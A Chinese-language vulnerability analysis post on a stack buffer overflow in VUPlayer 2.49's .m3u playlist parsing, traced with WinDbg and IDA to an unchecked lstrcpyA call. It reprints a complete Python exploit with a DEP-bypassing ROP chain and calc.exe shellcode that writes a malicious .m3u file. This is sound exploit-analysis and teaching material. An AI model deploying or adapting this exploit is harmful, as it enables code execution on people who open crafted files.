VUPlayer 2.49缓冲区溢出漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe

PoC:

#!/usr/bin/env python
#
# Exploit Title: VUPlayer <=2.49 .M3u Buffer overflow exploit with DEP bypass
# Date: 26-06-2016
# Exploit Author: secfigo
# Vendor Homepage: http://vuplayer.com/
# Software Link: https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe 
# Version: VUPlayer <=2.49
# Tested on: Windows 7 SP1 DEP=alwayson
# Greetz: Raghu, nullSingapore
###################################################################################
 
 
import struct
 
###################################################################################
# Shellcode
# windows/exec CMD=calc.exe with size 227 and bad characters "\x00\x09\x0a\x0d\x1a"
###################################################################################
 
shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
"\x1c\x80")
 
junk = "HTTP://" + "A"*1005
 
 
 
 
###################################################################################
# rop gadgets with some modifications
# bad characters = "\x00\x09\x0a\x0d\x1a"
###################################################################################
 
def create_rop_chain():
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x10010157,  # POP EBP # RETN [BASS.dll] 
      0x10010157,  # skip 4 bytes [BASS.dll]
      0x10015f77,  # POP EAX # RETN [BASS.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x10014db4,  # NEG EAX # RETN [BASS.dll] 
      0x10032f72,  # XCHG EAX,EBX # RETN 0x00 [BASS.dll] 
      0x10015f82,  # POP EAX # RETN [BASS.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x10014db4,  # NEG EAX # RETN [BASS.dll] 
      0x10038a6d,  # XCHG EAX,EDX # RETN [BASS.dll] 
      0x101049ec,  # POP ECX # RETN [BASSWMA.dll] 
      0x101082db,  # &Writable location [BASSWMA.dll]
      0x1001621c,  # POP EDI # RETN [BASS.dll] 
      0x1001dc05,  # RETN (ROP NOP) [BASS.dll]
      0x10604154,  # POP ESI # RETN [BASSMIDI.dll] 
      0x10101c02,  # JMP [EAX] [BASSWMA.dll]
      0x10015fe7,  # POP EAX # RETN [BASS.dll] 
      0x1060e25c,  # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
      0x1001d7a5,  # PUSHAD # RETN [BASS.dll] 
      0x10022aa7,  # ptr to 'jmp esp' [BASS.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
rop_chain = create_rop_chain()
 
 
eip = struct.pack('<L',0x10601033) # RETN (BASSMIDI.dll)
 
nops ="\x90"* 16
 
buffer = junk + eip + rop_chain + nops+ shellcode+ "C"*(3000-len(junk)-len(eip)-len(rop_chain)-len(nops)-len(shellcode))
 
print "[+] Creating .m3u file of size "+ str(len(buffer))
file = open('vuplayer-dep.m3u','w');
file.write(buffer);
file.close();
print "[+] Done creating the file"

https://www.exploit-db.com/exploits/40018/ 提供的是full exp,如果只是想触发crash可以把shellcode,rop等部分内容填充畸形字符串。


漏洞复现


此漏洞是由于VUPlayer在处理m3u文件时,由于对文件中的某结构体进行处理时会调用结构体中某部分进行处理,在处理时,没有对这部分内容进行长度检查,从而导致在调用lstrcpy后导致缓冲区溢出,覆盖返回地址,在返回时造成远程代码执行。通过构造这类畸形文件,用户点击时可以远程执行任意代码。下面对此漏洞进行详细分析。

首先重新构造PoC,缩小payload体积,这样可以暴露之前堆栈调用的情况,触发漏洞,附加windbg调试器。

0:009> g
(988.98c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=41414141 esp=0012ed14 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

通过kb查看一下堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012ed10 00ba0041 77c2fce0 0012ee70 00ba8bd4 0x41414141
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL - 
0012ed88 73d3423f 000003f9 00534284 ffffffff 0xba0041
*** WARNING: Unable to verify checksum for C:\Program Files\VUPlayer\VUPlayer.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\VUPlayer\VUPlayer.exe
0012eda8 00456151 00000000 0012ee70 0012f108 MFC42!Ordinal1636+0x1c
0012edb8 0048cfe7 0012fa04 00000000 00000000 VUPlayer+0x56151

注意观察一下00456151处的调用,是触发漏洞前唯一一次程序领空的调用,就由此入手进行分析。


漏洞分析


来看一下外层函数调用部分。

.text:00456140 sub_456140      proc near               ; CODE XREF: sub_41F760+2C4p
.text:00456140                                         ; sub_42FA70+63p ...
.text:00456140
.text:00456140 var_4           = dword ptr -4
.text:00456140
.text:00456140                 push    ebp
.text:00456141                 mov     ebp, esp
.text:00456143                 push    ecx
.text:00456144                 mov     [ebp+var_4], ecx
.text:00456147                 push    0
.text:00456149                 mov     ecx, [ebp+var_4]
.text:0045614C                 call    sub_455120
.text:00456151                 mov     esp, ebp
.text:00456153                 pop     ebp
.text:00456154                 retn
.text:00456154 sub_456140      endp

0045614C处有一处call调用,调用了函数sub_455120,这个函数步过会直接到达漏洞场景,初步判定漏洞发生在此漏洞中,由此跟入函数。

0:009> g
Breakpoint 0 hit
eax=0012ee74 ebx=004667e0 ecx=0012ee70 edx=0012f0d8 esi=00000000 edi=0012f080
eip=00456140 esp=0012edbc ebp=0012f108 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
VUPlayer+0x56140:
00456140 55              push    ebp
0:000> dd esp
0012edbc  0048cfe7 0012fa04 00000000 00000000
0012edcc  00000000 00000000 00000000 00000000
0012eddc  00000000 00000000 00000000 00000000
0012edec  00000000 00000000 0039f240 00390000
0012edfc  7c930202 00000073 00391c18 00390000
0012ee0c  00000000 0012ee00 00001000 0012f044
0012ee1c  7c92e900 00000088 0012f054 7c931008
0012ee2c  7c931066 7c9301bb 77bfc407 0000040d
0:000> dd 0012fa04
0012fa04  00b855c0 00509c64 73e086d4 00000000
0012fa14  00000000 00000000 00000000 00000000
0012fa24  00000000 73e086d4 73e086d4 00000000
0012fa34  00000000 00000000 00000000 77d29100
0012fa44  00000000 73e086d4 00000000 00000000
0012fa54  73e086d4 73e086d4 73e086d4 73e086d4
0012fa64  00000000 00000000 00000000 00000000
0012fa74  00000000 77d10000 73e086d4 00000000
0:000> dc 00b855c0
00b855c0  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00b855d0  74655320 676e6974 64415c73 696e696d   Settings\Admini
00b855e0  61727473 5c726f74 6c707576 72657961  strator\vuplayer
00b855f0  7065642d 75336d2e 00000000 00000000  -dep.m3u

进入函数,查看一下当前传入参数,发现传入参数某指针中存放着漏洞的PoC的m3u文件,接下来继续单步跟进。

.text:00455565 loc_455565:                             ; CODE XREF: sub_455120+433j
.text:00455565                 mov     edx, [ebp+var_8C]
.text:0045556B                 mov     eax, [edx+74h]
.text:0045556E                 mov     [ebp+var_64], eax
.text:00455571                 push    offset aMp4     ; "mp4"
.text:00455576                 mov     ecx, [ebp+var_64]
.text:00455579                 push    ecx             ; unsigned __int8 *
.text:0045557A                 call    ds:_mbsicmp
.text:00455580                 add     esp, 8
.text:00455583                 test    eax, eax
.text:00455585                 jz      short loc_4555CB
.text:00455587                 mov     edx, [ebp+var_8C]
.text:0045558D                 mov     eax, [edx+74h]
.text:00455590                 mov     [ebp+var_68], eax
.text:00455593                 push    offset aM4a     ; "m4a"
.text:00455598                 mov     ecx, [ebp+var_68]
.text:0045559B                 push    ecx             ; unsigned __int8 *
.text:0045559C                 call    ds:_mbsicmp
.text:004555A2                 add     esp, 8
.text:004555A5                 test    eax, eax
.text:004555A7                 jz      short loc_4555CB
.text:004555A9                 mov     edx, [ebp+var_8C]
.text:004555AF                 mov     eax, [edx+74h]
.text:004555B2                 mov     [ebp+var_6C], eax
.text:004555B5                 push    offset aM4b     ; "m4b"
.text:004555BA                 mov     ecx, [ebp+var_6C]
.text:004555BD                 push    ecx             ; unsigned __int8 *
.text:004555BE                 call    ds:_mbsicmp
.text:004555C4                 add     esp, 8
.text:004555C7                 test    eax, eax
.text:004555C9                 jnz     short loc_4555DB

在单步跟踪的时候发现程序会进入一系列判断函数,通过ida跟踪发现是对文件类型的判断,接下来跟踪,可以看到程序加载了PoC中的某个字段。

0:000> p
eax=0012ee70 ebx=004667e0 ecx=00ba8bd4 edx=00000000 esi=00000000 edi=0012f080
eip=0045518f esp=0012ed14 ebp=0012eda8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x5518f:
0045518f 8b8574ffffff    mov     eax,dword ptr [ebp-8Ch] ss:0023:0012ed1c=0012ee70
0:000> p
eax=0012ee70 ebx=004667e0 ecx=00ba8bd4 edx=00000000 esi=00000000 edi=0012f080
eip=00455195 esp=0012ed14 ebp=0012eda8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x55195:
00455195 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:0012ee74=00ba8bd4
0:000> p
eax=0012ee70 ebx=004667e0 ecx=00ba8bd4 edx=00000000 esi=00000000 edi=0012f080
eip=00455198 esp=0012ed14 ebp=0012eda8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x55198:
00455198 8b51f8          mov     edx,dword ptr [ecx-8] ds:0023:00ba8bcc=000003f9
0:000> p
eax=0012ee70 ebx=004667e0 ecx=00ba8bd4 edx=000003f9 esi=00000000 edi=0012f080
eip=0045519b esp=0012ed14 ebp=0012eda8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x5519b:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL - 
0045519b 8955e8          mov     dword ptr [ebp-18h],edx ss:0023:0012ed90=73e086d4
0:000> dc ecx
00ba8bd4  50545448 412f2f3a 41414141 41414141  HTTP://AAAAAAAAA
00ba8be4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8bf4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c04  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c14  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c24  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c34  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

注意ecx的值,是由00455195位置的eax+4地址存放的值赋予的,是一个指针,那么可以判断eax此时是一个结构体类型,在其+4偏移处存放的是这个畸形结构体。

接下来继续单步跟踪。

0:000> p
eax=00000001 ebx=004667e0 ecx=0012ee70 edx=002c0000 esi=00000000 edi=0012f080
eip=0045573c esp=0012ed14 ebp=0012eda8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x5573c:
0045573c 8b8d74ffffff    mov     ecx,dword ptr [ebp-8Ch] ss:0023:0012ed1c=0012ee70
0:000> p
eax=00000001 ebx=004667e0 ecx=0012ee70 edx=002c0000 esi=00000000 edi=0012f080
eip=00455742 esp=0012ed14 ebp=0012eda8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x55742:
00455742 e859dbffff      call    VUPlayer+0x532a0 (004532a0)

到达00455742地址位置的call调用时,单步步过程序到达漏洞位置,查看一下此时call调用时的传参情况。

0:000> dc ecx
0012ee70  00509c64 00ba8bd4 00000000 00000000  d.P.............
0012ee80  00000000 00000000 00000000 00000000  ................
0012ee90  73e086d4 73e086d4 00000000 00000000  ...s...s........
0012eea0  00000000 00000000 00b10000 00000000  ................
0012eeb0  73e086d4 00000000 00000000 73e086d4  ...s...........s
0012eec0  73e086d4 73e086d4 73e086d4 00000000  ...s...s...s....
0012eed0  00000000 00000000 00000000 00000000  ................
0012eee0  00120000 00ba8bd4 00390178 73e086d4  ........x.9....s

0:000> dc 00ba8bd4
00ba8bd4  50545448 412f2f3a 41414141 41414141  HTTP://AAAAAAAAA
00ba8be4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8bf4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c04  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c14  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c24  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c34  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c44  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到畸形字符串作为参数传入,接下来跟入这个函数。

0:000> p
eax=00000000 ebx=004667e0 ecx=0012ee70 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=004532fc esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x532fc:
004532fc 8b5104          mov     edx,dword ptr [ecx+4] ds:0023:0012ee74=00ba8bd4
0:000> p
eax=00000000 ebx=004667e0 ecx=0012ee70 edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=004532ff esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x532ff:
004532ff 89958cfbffff    mov     dword ptr [ebp-474h],edx ss:0023:0012e898=01000000
0:000> dc edx
00ba8bd4  50545448 412f2f3a 41414141 41414141  HTTP://AAAAAAAAA
00ba8be4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8bf4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c04  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c14  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c24  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c34  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c44  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

同样在这里会对畸形字符串进行获取,地址仍然在eax结构体偏移为0x4位置,接下来继续单步跟踪。

0:000> p
eax=00000000 ebx=004667e0 ecx=0012ee70 edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=00453305 esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x53305:
00453305 8b858cfbffff    mov     eax,dword ptr [ebp-474h] ss:0023:0012e898=00ba8bd4
0:000> p
eax=00ba8bd4 ebx=004667e0 ecx=0012ee70 edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=0045330b esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x5330b:
0045330b 50              push    eax
0:000> p
eax=00ba8bd4 ebx=004667e0 ecx=0012ee70 edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=0045330c esp=0012e818 ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x5330c:
0045330c 8d8d10fcffff    lea     ecx,[ebp-3F0h]
0:000> p
eax=00ba8bd4 ebx=004667e0 ecx=0012e91c edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=00453312 esp=0012e818 ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x53312:
00453312 51              push    ecx
0:000> p
eax=00ba8bd4 ebx=004667e0 ecx=0012e91c edx=00ba8bd4 esi=00000000 edi=0012ea20
eip=00453313 esp=0012e814 ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x53313:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
00453313 ff1514125000    call    dword ptr [VUPlayer+0x101214 (00501214)] ds:0023:00501214={kernel32!lstrcpyA (7c80be91)}

在00453313位置进行了一处调用,调用的是lstrcpy函数,来查看一下拷贝了哪个字符串。

0:000> dd esp
0012e814  0012e91c 00ba8bd4 0012f080 00000000
0012e824  00000000 7c934029 7c93401c 00000208
0012e834  0012ec04 0012ebdc 00000070 00000000
0012e844  00000000 00000000 0012ee70 00390000
0012e854  7c930202 00000004 00390748 00390000
0012e864  00ba15a8 0012e858 00000000 0012ea9c
0012e874  7c92e900 7c930208 ffffffff 7c930202
0012e884  7c93017b 7c9301bb 00000000 00000018
0:000> dc poi(esp+4)
00ba8bd4  50545448 412f2f3a 41414141 41414141  HTTP://AAAAAAAAA
00ba8be4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8bf4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c04  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c14  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c24  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c34  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ba8c44  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

真是畸形字符串的内容,接下来单步跟踪到返回地址。

0:000> p
eax=00000000 ebx=004667e0 ecx=77c0f000 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=00453334 esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
VUPlayer+0x53334:
00453334 83bd0cfcffff00  cmp     dword ptr [ebp-3F4h],0 ss:0023:0012e918=00000000
0:000> p
eax=00000000 ebx=004667e0 ecx=77c0f000 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=0045333b esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x5333b:
0045333b 0f848a060000    je      VUPlayer+0x539cb (004539cb)             [br=1]
0:000> p
eax=00000000 ebx=004667e0 ecx=77c0f000 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=004539cb esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x539cb:
004539cb 8b4df4          mov     ecx,dword ptr [ebp-0Ch] ss:0023:0012ed00=41414141
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=004539ce esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x539ce:
004539ce 64890d00000000  mov     dword ptr fs:[0],ecx fs:003b:00000000=0012ed00
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012ea20
eip=004539d5 esp=0012e81c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x539d5:
004539d5 5f              pop     edi
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=004539d6 esp=0012e820 ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x539d6:
004539d6 5e              pop     esi
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=004539d7 esp=0012e824 ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x539d7:
004539d7 8be5            mov     esp,ebp
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=004539d9 esp=0012ed0c ebp=0012ed0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x539d9:
004539d9 5d              pop     ebp
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=004539da esp=0012ed10 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
VUPlayer+0x539da:
004539da c3              ret
0:000> p
eax=00000000 ebx=004667e0 ecx=41414141 edx=00ba15a8 esi=00000000 edi=0012f080
eip=41414141 esp=0012ed14 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
41414141 ??              ???

从上往下观察这个动态调试过程,在进行一次判断后跳转到结束位置,会出栈后ret,而在这个过程中,由于lstrcpy造成的缓冲区溢出,覆盖了返回地址,来看一下这个伪代码的调用过程。首先是外层函数调用中。

        if ( mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMod)
          && mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aS3m)
          && mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aXm)
          && mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aIt)
          && mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMtm)
          && mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMo3)
          && mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aUmx) )
        {
          if ( mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMp3)
            && mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aMp2) )
          {
            if ( mbsicmp(*(const unsigned __int8 **)(v4 + 116), (const unsigned __int8 *)aWav) )

可以看到进行了各种判断,主要是对文件类型的判断,接下来。

                    result = (FILE *)sub_453B20(v4);
                  }
                }
                else
                {
                  result = (FILE *)sub_4539E0(v4);
                }
              }
              else
              {
                result = sub_4532A0((void *)v4);
              }
            }
            else
            {
              result = (FILE *)sub_453110(v4);
            }
          }
          else
          {
            result = (FILE *)sub_452680(v4);

会根据判断的结果,进行文件类型的调用,调用函数就是问题函数,这里没有对结构进行长度检查,接下来看一下漏洞函数。

FILE *__thiscall sub_4532A0(void *this)
{

  v17 = this;
  sub_456160(0, 0, 0, 1);
  String1 = String2;
  memset(&v46, 0, 0x100u);
  v47 = 0;
  v48 = 0;
  lstrcpyA(&String1, *((LPCSTR *)v17 + 1));
  result = fopen(&String1, Mode);
  File = result;
  if ( result )
{
}
  return result;

这里就比较清晰了,在漏洞函数中,通过lstrcpy会造成栈溢出,而在这之后对string1进行文件打开操作,显然被畸形字符串覆盖的string1不可能打开成功,if条件不通过,直接返回,而由于返回地址被覆盖,从而导致任意代码执行。

Comments
Write a Comment